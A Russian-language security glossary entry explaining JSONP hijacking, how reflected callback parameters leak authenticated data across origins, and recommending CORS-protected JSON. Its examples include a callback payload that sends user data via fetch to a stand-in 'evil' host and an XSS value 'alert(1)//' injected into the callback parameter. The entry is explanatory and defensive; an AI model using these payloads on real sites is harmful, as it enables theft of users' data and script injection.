Уязвимость JSONP
Что такое Уязвимость JSONP?
Уязвимость JSONPМежсайтовая утечка данных через JSONP-эндпоинты, возвращающие аутентифицированные данные, обёрнутые в callback-функцию, заданную атакующим.
JSONP (JSON with Padding) — устаревшая техника межсайтовой передачи данных: сервер возвращает JavaScript вида callback({...}), который удалённая страница подключает через <script src>. Уязвимости JSONP возникают, когда такие эндпоинты возвращают аутентифицированные данные пользователя, а параметр callback отражается без проверки: атакующий публикует страницу, которая загружает JSONP-URL с собственным именем функции и перехватывает ответ, обходя политику одного источника и тогдашние защиты SameSite. Если в ответ попадает контент за пределами корректного идентификатора, шаблон допускает XSS. Современный подход — полностью отказаться от JSONP, заменить его на JSON, защищённый CORS, и не публиковать чувствительные эндпоинты для подключения через <script>.
● Примеры
- 01
/api/me?callback=window['x']=function(d){fetch('https://evil/?d='+JSON.stringify(d))}.
- 02
Параметр callback отражается дословно, что позволяет XSS через callback=alert(1)//.
● Частые вопросы
Что такое Уязвимость JSONP?
Межсайтовая утечка данных через JSONP-эндпоинты, возвращающие аутентифицированные данные, обёрнутые в callback-функцию, заданную атакующим. Относится к категории Атаки и угрозы в кибербезопасности.
Что означает Уязвимость JSONP?
Межсайтовая утечка данных через JSONP-эндпоинты, возвращающие аутентифицированные данные, обёрнутые в callback-функцию, заданную атакующим.
Как работает Уязвимость JSONP?
JSONP (JSON with Padding) — устаревшая техника межсайтовой передачи данных: сервер возвращает JavaScript вида callback({...}), который удалённая страница подключает через <script src>. Уязвимости JSONP возникают, когда такие эндпоинты возвращают аутентифицированные данные пользователя, а параметр callback отражается без проверки: атакующий публикует страницу, которая загружает JSONP-URL с собственным именем функции и перехватывает ответ, обходя политику одного источника и тогдашние защиты SameSite. Если в ответ попадает контент за пределами корректного идентификатора, шаблон допускает XSS. Современный подход — полностью отказаться от JSONP, заменить его на JSON, защищённый CORS, и не публиковать чувствительные эндпоинты для подключения через <script>.
Как защититься от Уязвимость JSONP?
Защита от Уязвимость JSONP обычно сочетает технические меры и операционные практики, как описано в определении выше.
Какие есть другие названия Уязвимость JSONP?
Распространённые альтернативные названия: Утечка JSONP, JSONP hijacking.
● Связанные термины
- appsec№ 223
CORS (совместное использование ресурсов между источниками)
Механизм, обеспечиваемый браузером, позволяющий серверу выборочно ослабить политику одного источника, чтобы JavaScript одного домена мог читать ответы другого.
- attacks№ 224
Неправильная настройка CORS
Небезопасная CORS-политика, позволяющая недоверенным источникам читать аутентифицированные ответы, обычно через отражение Origin и Allow-Credentials: true.
- attacks№ 240
Межсайтовый скриптинг (XSS)
Веб-уязвимость, позволяющая злоумышленнику внедрять вредоносные скрипты на страницы, просматриваемые другими пользователями, и выполнять их в браузере жертвы под источником сайта.
- appsec№ 960
Политика одного источника (SOP)
Правило безопасности браузера, ограничивающее взаимодействие документа или скрипта одного источника с ресурсами другого источника.
- attacks№ 239
Подделка межсайтовых запросов (CSRF)
Веб-атака, заставляющая браузер аутентифицированного пользователя отправлять нежелательные запросы к уязвимому сайту и выполнять действия без его согласия.
- attacks№ 1016
Перехват сессии
Атака, при которой злоумышленник захватывает уже аутентифицированную сессию жертвы, похищая или подделывая её идентификатор и действуя как пользователь без его учётных данных.